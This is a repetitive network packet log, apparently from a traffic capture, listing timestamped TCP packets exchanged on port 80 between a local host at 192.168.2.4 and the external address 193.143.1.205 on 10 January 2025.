Jan 10, 2025 20:05:23.452100039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.452111959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.452162027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.462740898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.495995998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496015072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496026039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496032000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496040106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496196985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496208906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496212959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496212959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496221066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496249914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496287107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496299028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496309996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496320963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496345043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496372938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496520996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496539116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496556997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496556997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496570110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496581078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496592045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.496596098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.496613979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.498291016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530144930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530168056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530179024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530184984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530193090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530349016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530349016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530466080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530647993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530668974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530680895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530689001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530695915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530714989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530725002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530730009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530740023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530750036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530750990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530764103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530775070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530786991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.530792952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530817986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.530838966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531157970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531171083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531181097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531192064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531204939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531207085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531235933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531303883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531327963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531339884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531342983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531352997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531363964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531373024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531377077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531389952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531400919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531402111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531413078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531424999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531429052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531439066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531447887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531486034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.531945944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531958103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531968117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531979084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531990051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.531994104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532004118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532015085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532015085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532028913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532040119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532044888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532052040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532058001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532063007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532067060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532068968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532080889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532126904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532243013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532255888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532267094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532278061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532286882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532320976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.532407045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532419920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532432079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.532454014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533118963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533175945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533265114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533276081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533288002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533298969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533309937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533310890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533323050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533330917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533338070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533349037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533360004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533360958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533371925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533390045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533392906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533406019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533411980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533420086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533432007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533442974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533453941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533453941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533467054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533490896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533648014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533659935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533670902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533682108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533688068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533694983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533718109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533732891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533816099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533828020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533838034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533849955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533859968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533862114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533874035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533885956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533890009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533898115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533907890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533910990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533922911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533935070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533953905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533962965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533972979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.533976078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.533993006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.534122944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.535170078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.535186052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.535197973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.535216093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.535233974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.546025991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.583631992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.583653927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.583666086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.583678007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.583689928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.583703041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.583827972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.583827972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.584100962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584116936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584153891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.584234953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584476948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584487915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584494114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584506035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584517002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584527969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.584559917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.584583044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584595919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584609032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.584636927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.617759943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617821932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617832899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617841959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617852926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617861032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617868900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617881060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617893934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617904902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617913008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.617939949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618014097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618026018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618046999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618060112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618072033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618082047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618084908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618098021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618104935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618113041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618124008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618134022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618138075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618149996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618164062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618176937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618207932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618347883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618359089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618370056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618380070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618388891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618396044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618407965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618416071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618421078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618432045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618443012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618444920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618465900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618480921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618628979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618648052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618659019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618670940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618680000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618685007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618696928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618709087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618711948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618721962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618730068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618736029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618748903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618758917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618793964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.618962049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618974924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618985891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.618995905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619008064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619013071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619019985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619033098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619045019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619051933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619072914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619088888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619105101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619117022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619127989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619144917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619149923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619162083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619173050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619187117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619196892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619199038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619211912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619224072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619230032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619240046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619252920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.619257927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619278908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.619294882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623207092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623220921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623228073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623233080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623239040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623245001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623251915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623256922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623262882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623269081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623275042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623281002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623291969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623300076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623388052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623420954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623559952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623600006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623615980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623627901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623640060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623646975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623660088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623672962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623675108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623691082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623699903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623707056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623724937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623766899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623779058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623791933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623805046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623819113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.623830080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.623858929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651468039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651483059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651495934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651508093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651519060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651541948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651545048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651555061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651576996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651578903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651590109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651601076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651623011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651624918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651634932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651648045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651649952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651659966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651674986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651680946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651686907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651700020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.651715994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.651742935 CET	49730	80	192.168.2.4	193.143.1.205
